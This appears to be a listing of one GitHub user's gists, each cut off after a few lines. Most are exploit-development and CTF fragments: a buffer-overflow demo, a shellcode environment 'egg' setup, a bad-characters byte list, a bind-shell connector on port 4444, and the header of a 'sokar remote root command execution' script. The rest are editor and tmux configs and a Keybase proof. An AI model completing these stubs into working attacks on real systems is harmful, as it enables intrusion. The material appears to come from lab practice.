leonjza

#include <stdio.h>
#include <string.h>

/*
 *	Overly complex BOF example code.
 *		Leon Jacobs - 2014
 * 
 *	The reason for this is to try get some more useful assembly
 *	out of the program so that we can get some interesting POC's
 */

leonjza

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/*
 * Setup an ENV EGG with /bin/sh, and find a
 * a estimate of where this is located in memory
 *
 * Compiled with gcc -o setup setup_env.c
 *

leonjza

badchars = (
 "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
 "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
 "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
 "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
 "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
 "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
 "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
 "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
 "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"

leonjza

#!/usr/bin/python

import socket

host = "127.0.0.1"
port = 4444

# try and connect to a bind shell
try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

leonjza

Keybase proof

I hereby claim:

• I am leonjza on github.
• I am leonjza (https://keybase.io/leonjza) on keybase.
• I have a public key whose fingerprint is F166 DCD3 8EBD 747C EC85 97F2 E4BA 1218 56BF 63CA

To claim this, I am signing this object:

leonjza

{
	"caret_extra_width": 1,
	"caret_style": "phase",
	"close_windows_when_empty": false,
	"color_scheme": "Packages/Theme - Fox/fox.dark.tmTheme",
	"copy_with_empty_selection": false,
	"drag_text": false,
	"draw_minimap_border": true,
	"enable_tab_scrolling": false,
	"findreplace_small": true,

leonjza

# status bar
set-option -g status-utf8 on

# https://github.com/seebi/tmux-colors-solarized/blob/master/tmuxcolors-256.conf
set-option -g status-bg colour235 #base02
set-option -g status-fg colour136 #yellow
set-option -g status-attr default

# default window title colors
set-window-option -g window-status-fg colour244 #base0

leonjza

#!/usr/bin/python

# Pandoras Box
# Level 1

import time
import socket
import string
import sys

leonjza

import socket
 
class Netcat:

    """ Python 'netcat like' module """

    def __init__(self, ip, port):

        self.buff = ""
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

leonjza

#!/usr/bin/python

# 2015 Leon Jacobs
# sokar remote root command execution

import requests
import sys

if len(sys.argv) < 2: